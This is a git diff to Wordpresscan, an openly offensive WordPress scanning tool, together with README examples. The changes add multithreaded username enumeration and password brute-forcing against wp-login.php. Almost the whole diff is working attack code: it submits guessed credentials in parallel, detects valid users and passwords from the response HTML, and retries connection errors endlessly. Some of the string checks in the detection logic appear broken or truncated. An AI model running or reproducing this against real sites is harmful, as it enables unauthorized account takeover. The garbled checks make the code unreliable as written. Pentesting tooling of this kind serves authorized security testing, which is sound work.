diff --git a/README.md b/README.md index e2267b7..c5ab4b6 100644 --- a/README.md +++ b/README.md @@ -33,18 +33,23 @@ python main.py -u "http://localhost/wordpress" --update --random-agent ``` Example 2 : Basic bruteforce (option --brute, option --nocheck) +* bruteforce customs usernames +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --usernames "admin,guest" --passwords-list fuzz/wordlist.lst +``` +* bruteforce with usernames list +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst +``` +* bruteforce detected users +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wordlist.lst ``` -python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst -python main.py -u "http://127.0.0.1/wordpress/" --brute admin - ---brute file.lst : Will bruteforce every username and their password ---brute username : Will bruteforce the password for the given username -it will also try to bruteforce the password for the detected users. - +``` ╭─ 👻 swissky@crashlab: ~/Github/Wordpresscan ‹master*› -╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck +╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck _______________________________________________________________ _ _ _ | | | | | | diff --git a/engine/brute.py b/engine/brute.py index c083cd8..d54dea5 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -8,66 +8,109 @@ import urllib from core import * from wordpress import * -from multiprocessing import Process, Pool +from thread_engine import ThreadEngine class Brute_Engine: - def __init__(self, wordpress, brute): - if brute != None: + def __init__(self, wordpress, brute, usernames, users_list, passwords_list): + if brute: + if usernames: + users_to_brute = usernames.split(',') + for user in users_to_brute: + user = user.replace(' ', '') + print notice("Bruteforcing " + user) + self.bruteforcing_pass(wordpress, user, passwords_list) - # Bruteforce username - if os.path.isfile(brute): - self.bruteforcing_user(wordpress) + # Bruteforce with usernames list + elif users_list: + for file_list in [users_list, passwords_list]: + if not os.path.isfile(file_list): + print critical("Can't found %s file" % file_list) + exit() + # launch users & passwords bruteforce + self.bruteforcing_user(wordpress, users_list, passwords_list) + + # if users detected, bruteforce them else: if len(wordpress.users) != 0: - print notice("Bruteforcing detected users") + if not os.path.isfile(passwords_list): + print critical("Can't found %s file" % passwords_list) + exit() + + print notice("Bruteforcing detected users: ") for user in wordpress.users: print info("User found "+ user['slug']) - self.bruteforcing_pass(wordpress, user['slug']) + self.bruteforcing_pass(wordpress, user['slug'], passwords_list) - else: - print notice("Bruteforcing " + brute) - print info("User found "+ brute) - self.bruteforcing_pass(wordpress, brute) - - # Exit the bruteforce - exit() """ name : bruteforcing_user(self, wordpress) description : """ - def bruteforcing_user(self, wordpress): + def bruteforcing_user(self, wordpress, users_list, passwords_list): print notice("Bruteforcing all users") - with open('fuzz/wordlist.lst') as data_file: + with open(users_list) as data_file: data = data_file.readlines() + thread_engine = ThreadEngine(wordpress.max_threads) + users_found = [] for user in data: user = user.strip() - data = {"log":user, "pwd":"wordpresscan"} - if not "Invalid username" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text: - print info("User found "+ user) - self.bruteforcing_pass(wordpress, user) + thread_engine.new_task(self.check_user, (user, users_found, wordpress)) + thread_engine.wait() + + for user in users_found: + self.bruteforcing_pass(wordpress, user, passwords_list) + + + def check_user(self, user, users_found, wordpress): + data = {"log":user, "pwd":"wordpresscan"} + while True: + try: + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + except: + print critical('ConnectionError in thread, retry...') + continue + break + # valid login -> the submited user is printed by WP + if '
' in html and '%s' % user in html: + print info("User found "+ user) + users_found.append(user) + """ name : bruteforcing_pass(self, wordpress) description : """ - def bruteforcing_pass(self, wordpress, user): + def bruteforcing_pass(self, wordpress, user, passwords_list): print info("Starting passwords bruteforce for " + user) - with open('fuzz/wordlist.lst') as data_file: + with open(passwords_list) as data_file: data = data_file.readlines() size = len(data) + thread_engine = ThreadEngine(wordpress.max_threads) + found = [False] for index, pwd in enumerate(data): + if found[0]: break pwd = pwd.strip() - data = {"log": user, "pwd": pwd} percent = int(float(index)/(size)*100) + thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found)) - print 'Bruteforcing - {}{}\r'.format( percent*"â–“", (100-percent)*'â–‘' ) , + # print 'Bruteforcing - {}{}\r'.format( percent*"â–“", (100-percent)*'â–‘' ) + thread_engine.wait() - if not "The password you entered" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text: - print warning("Password found for {} : {}{}".format(user,pwd, ' '*100)) - break + + def check_pass(self, user, pwd, wordpress, found): + data = {"log": user, "pwd": pwd} + while True: + try: + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + except: + print critical('ConnectionError in thread, retry...') + continue + break + if not '
' in html: + print warning("Password found for {} : {}{}".format(user,pwd, ' '*100)) + found[0] = True diff --git a/engine/thread_engine.py b/engine/thread_engine.py new file mode 100644 index 0000000..ff31d1e --- /dev/null +++ b/engine/thread_engine.py @@ -0,0 +1,51 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +from threading import Thread +# from time import sleep +from core import critical, info + + +class ThreadEngine(object): + def __init__(self, max_threads): + if max_threads < 1: + print critical('Threads number must be > 0') + exit() + self.max_threads = max_threads + self.threads = [] + print info('Start %d threads ...' % self.max_threads) + + def new_task(self, task, args): + """ Try to launch the new task, + try again if thread limit exception raised + """ + while True: + try: + self.launch_task(task, args) + except ThreadLimitError: + # sleep(0.1) + continue + break + + def launch_task(self, task, args): + """ Lanch task in a new thread """ + self.clean_threads() + if len(self.threads) < self.max_threads: + t = Thread(target=task, args=args) + self.threads.append(t) + t.start() + else: + raise ThreadLimitError("Reached threads limit") + + def clean_threads(self): + """ Remove ended threads """ + for thread in self.threads: + if not thread.isAlive(): + self.threads.remove(thread) + + def wait(self): + """ Wait for threads end """ + for thread in self.threads: + thread.join() + +class ThreadLimitError(Exception): + pass diff --git a/engine/wordpress.py b/engine/wordpress.py index c40d512..4b14888 100644 --- a/engine/wordpress.py +++ b/engine/wordpress.py @@ -15,10 +15,11 @@ class Wordpress: agent = False users = {} - def __init__(self, url, user_agent, nocheck): + def __init__(self, url, user_agent, nocheck, max_threads): print info("URL: %s" % url) self.url = url self.agent = user_agent + self.max_threads = int(max_threads) self.random_agent() self.clean_url() self.is_up_and_installed() diff --git a/main.py b/main.py index c1ef3c8..64ddbd4 100644 --- a/main.py +++ b/main.py @@ -29,9 +29,13 @@ if __name__ == "__main__": parser.add_argument('--update', action ='store_const', const='update', dest='update', help="Update the database") parser.add_argument('--aggressive', action ='store_const', const='aggressive', dest='aggressive', default=False, help="Aggressive scan for plugins/themes") parser.add_argument('--fuzz', action ='store_const', const='fuzz', dest='fuzz', default=False, help="Fuzz the files") - parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords") + parser.add_argument('--brute', action ='store_const', const='brute', dest='brute', default=False, help="Bruteforce users and passwords") parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance") parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent") + parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use") + parser.add_argument('--usernames', action ='store', dest='usernames', default='', help="Usernames to bruteforce") + parser.add_argument('--users-list', action ='store', dest='users_list', default=None, help="Users list for bruteforce") + parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce") results = parser.parse_args() # Check wordpress url @@ -45,10 +49,10 @@ if __name__ == "__main__": database_update() # Build a new wordpress object - wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck) + wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads) # Launch bruteforce - Brute_Engine(wp, results.brute) + Brute_Engine(wp, results.brute, results.usernames, results.users_list, results.passwords_list) # Launch fuzzing Fuzz_Engine(wp, results.fuzz)